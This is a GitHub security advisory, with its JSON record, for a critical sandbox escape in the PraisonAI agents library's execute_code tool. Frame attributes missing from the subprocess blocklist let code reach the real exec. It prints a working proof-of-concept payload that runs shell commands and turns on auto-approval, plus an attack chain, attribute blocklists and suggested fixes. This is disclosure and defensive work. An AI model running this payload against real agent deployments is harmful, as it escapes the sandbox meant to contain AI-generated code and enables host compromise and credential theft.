GHSA-QF73-2HRX-XPRP
Vulnerability from github – Published: 2026-04-08 19:17 – Updated: 2026-04-09 14:29Summary
execute_code() in praisonaiagents.tools.python_tools defaults to
sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a
restricted __builtins__ dict and an AST-based blocklist. The AST blocklist
embedded inside the subprocess wrapper (blocked_attrs, line 143 of
python_tools.py) contains only 11 attribute names — a strict subset of the 30+
names blocked in the direct-execution path. The four attributes that form a
frame-traversal chain out of the sandbox are all absent from the subprocess list:
| Attribute | In subprocess blocked_attrs |
In direct-mode _blocked_attrs |
|---|---|---|
__traceback__ |
NO | YES |
tb_frame |
NO | YES |
f_back |
NO | YES |
f_builtins |
NO | YES |
Chaining these attributes through a caught exception exposes the real Python
builtins dict of the subprocess wrapper frame, from which exec can be
retrieved and called under a non-blocked variable name — bypassing every
remaining security layer.
Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
| Vector | Value | Rationale |
|---|---|---|
| AV:N | Network | execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |
| AC:L | Low | No race conditions or special configuration required |
| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |
| UI:N | None | No victim interaction |
| S:C | Changed | Escapes subprocess sandbox into full host process context |
| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |
| I:H | High | Arbitrary file write, arbitrary code execution on host |
| A:H | High | Can terminate processes, exhaust resources |
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: all versions shipping
sandbox_mode="sandbox"(default since introduction) through 1.5.113 - Patched versions: none at time of report
- File:
praisonaiagents/tools/python_tools.py
Root Cause
Two separate blocked_attrs sets — one much weaker than the other
_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:
# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__', '__init_subclass__',
'__set_name__', '__reduce__', '__reduce_ex__',
'__traceback__', '__qualname__', '__module__', # ← present here
'__wrapped__', '__closure__', '__annotations__',
'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← present here
'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
'co_consts', 'co_names',
})
The subprocess wrapper script written to disk (line 143) uses a separate,
inline blocked_attrs with only 11 entries — the frame-traversal attrs are
missing:
# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__'
# __traceback__, tb_frame, f_back, f_builtins — all absent
}
_safe_getattr does not protect direct dot-notation access
_safe_getattr replaces the getattr builtin and blocks attribute names
starting with _. However, it is only invoked when user code explicitly calls
getattr(obj, name). Direct attribute access (obj.attr in source) uses
Python's C-level tp_getattro slot and never passes through _safe_getattr.
The AST check is therefore the only barrier to direct attribute access, and it
is insufficient.
No text-pattern blocklist in subprocess mode
_execute_code_direct applies a text-pattern blocklist (dangerous_patterns)
as a defence-in-depth layer. _execute_code_sandboxed has no such layer —
only the AST check runs.
Proof of Concept
import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code
CMD = "id" # any shell command
payload = f"""
try:
1/0
except ZeroDivisionError as e:
_p = e.__traceback__.tb_frame.f_back
_x = _p.f_builtins["exec"]
_x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
{{"__builtins__": _p.f_builtins}})
"""
result = execute_code(code=payload)
print(result["stdout"])
Output (praisonaiagents 1.5.113, Python 3.10):
uid=1000(user) gid=1000(user) groups=1000(user)
Why each defence is bypassed:
| Layer | Status | Reason |
|---|---|---|
AST blocked_attrs |
BYPASSED | __traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list |
_safe_getattr |
BYPASSED | Only intercepts getattr() calls; dot notation uses C-level tp_getattro |
exec-by-name AST check |
BYPASSED | Called as _x(...) — func.id is '_x', not 'exec' |
| Text-pattern blocklist | N/A | Does not exist in subprocess mode |
| Subprocess process isolation | BYPASSED | Frame traversal reaches real builtins within the subprocess |
Attack Chain
execute_code(payload)
└─ _execute_code_sandboxed()
└─ subprocess: exec(user_code, safe_globals)
└─ user_code raises ZeroDivisionError
└─ e.__traceback__ ← __traceback__ not in blocked_attrs
└─ .tb_frame ← tb_frame not in blocked_attrs
└─ .f_back ← f_back not in blocked_attrs
└─ .f_builtins ← f_builtins not in blocked_attrs
└─ ["exec"] ← dict subscript, no attr check
└─ _x("import subprocess; ...")
└─ RCE
Impact
Any application that exposes execute_code to user-controlled or
LLM-generated input — including all standard PraisonAI agent deployments — is
fully compromised by a single API call:
- Arbitrary command execution on the host (in the subprocess user context)
- File system read/write — source code, credentials,
.envfiles, SSH keys - Environment variable exfiltration — API keys, secrets passed to the agent process
- Network access — outbound connections to attacker infrastructure unaffected by
env={} - Lateral movement — the subprocess inherits the host's network stack and filesystem
Suggested Fix
1. Merge blocked_attrs into a single shared constant
The subprocess wrapper must use the same attribute blocklist as the direct mode.
Replace the inline blocked_attrs in the wrapper template with the full set:
# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__', '__init_subclass__',
'__set_name__', '__reduce__', '__reduce_ex__',
'__traceback__', '__qualname__', '__module__', # ← ADD
'__wrapped__', '__closure__', '__annotations__', # ← ADD
'gi_frame', 'gi_code', 'cr_frame', 'cr_code', # ← ADD
'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← ADD
'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
'co_consts', 'co_names', # ← ADD
}
2. Block all _-prefixed attribute access at AST level
_safe_getattr only covers getattr() calls. Add a blanket AST rule to block
any ast.Attribute node whose attr starts with _:
if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
return f"Access to private attribute '{node.attr}' is restricted"
3. Add the text-pattern layer to subprocess mode
Mirror _execute_code_direct's dangerous_patterns check in
_execute_code_sandboxed as defence-in-depth.
References
- Affected file:
praisonaiagents/tools/python_tools.py(PyPI:praisonaiagents) - CWE-693: Protection Mechanism Failure
- CWE-657: Violation of Secure Design Principles
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.114"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.115"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39888"
],
"database_specific": {
"cwe_ids": [
"CWE-657",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:17:28Z",
"nvd_published_at": "2026-04-08T21:17:00Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\nembedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names \u2014 a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n| `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name \u2014 bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n\n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets \u2014 one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 \u2014 direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027, # \u2190 present here\n \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027,\n \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027,\n \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027, # \u2190 present here\n \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 present here\n \u0027co_consts\u0027, \u0027co_names\u0027,\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries \u2014 the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 \u2014 subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027\n # __traceback__, tb_frame, f_back, f_builtins \u2014 all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython\u0027s C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\nas a defence-in-depth layer. `_execute_code_sandboxed` has no such layer \u2014\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\" # any shell command\n\npayload = f\"\"\"\ntry:\n 1/0\nexcept ZeroDivisionError as e:\n _p = e.__traceback__.tb_frame.f_back\n _x = _p.f_builtins[\"exec\"]\n _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n\u003cimg width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" /\u003e\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n| AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` \u2014 `func.id` is `\u0027_x\u0027`, not `\u0027exec\u0027` |\n| Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n \u2514\u2500 _execute_code_sandboxed()\n \u2514\u2500 subprocess: exec(user_code, safe_globals)\n \u2514\u2500 user_code raises ZeroDivisionError\n \u2514\u2500 e.__traceback__ \u2190 __traceback__ not in blocked_attrs\n \u2514\u2500 .tb_frame \u2190 tb_frame not in blocked_attrs\n \u2514\u2500 .f_back \u2190 f_back not in blocked_attrs\n \u2514\u2500 .f_builtins \u2190 f_builtins not in blocked_attrs\n \u2514\u2500 [\"exec\"] \u2190 dict subscript, no attr check\n \u2514\u2500 _x(\"import subprocess; ...\")\n \u2514\u2500 RCE\n```\n\n---\n\n## Impact\n\nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input \u2014 including all standard PraisonAI agent deployments \u2014 is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** \u2014 source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** \u2014 API keys, secrets passed to the agent process\n- **Network access** \u2014 outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** \u2014 the subprocess inherits the host\u0027s network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n \u0027__subclasses__\u0027, \u0027__bases__\u0027, \u0027__mro__\u0027, \u0027__globals__\u0027,\n \u0027__code__\u0027, \u0027__class__\u0027, \u0027__dict__\u0027, \u0027__builtins__\u0027,\n \u0027__import__\u0027, \u0027__loader__\u0027, \u0027__spec__\u0027, \u0027__init_subclass__\u0027,\n \u0027__set_name__\u0027, \u0027__reduce__\u0027, \u0027__reduce_ex__\u0027,\n \u0027__traceback__\u0027, \u0027__qualname__\u0027, \u0027__module__\u0027, # \u2190 ADD\n \u0027__wrapped__\u0027, \u0027__closure__\u0027, \u0027__annotations__\u0027, # \u2190 ADD\n \u0027gi_frame\u0027, \u0027gi_code\u0027, \u0027cr_frame\u0027, \u0027cr_code\u0027, # \u2190 ADD\n \u0027ag_frame\u0027, \u0027ag_code\u0027, \u0027tb_frame\u0027, \u0027tb_next\u0027, # \u2190 ADD\n \u0027f_globals\u0027, \u0027f_locals\u0027, \u0027f_builtins\u0027, \u0027f_code\u0027, # \u2190 ADD\n \u0027co_consts\u0027, \u0027co_names\u0027, # \u2190 ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith(\u0027_\u0027):\n return f\"Access to private attribute \u0027{node.attr}\u0027 is restricted\"\n```\n\n### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`\u0027s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles",
"id": "GHSA-qf73-2hrx-xprp",
"modified": "2026-04-09T14:29:06Z",
"published": "2026-04-08T19:17:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39888"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.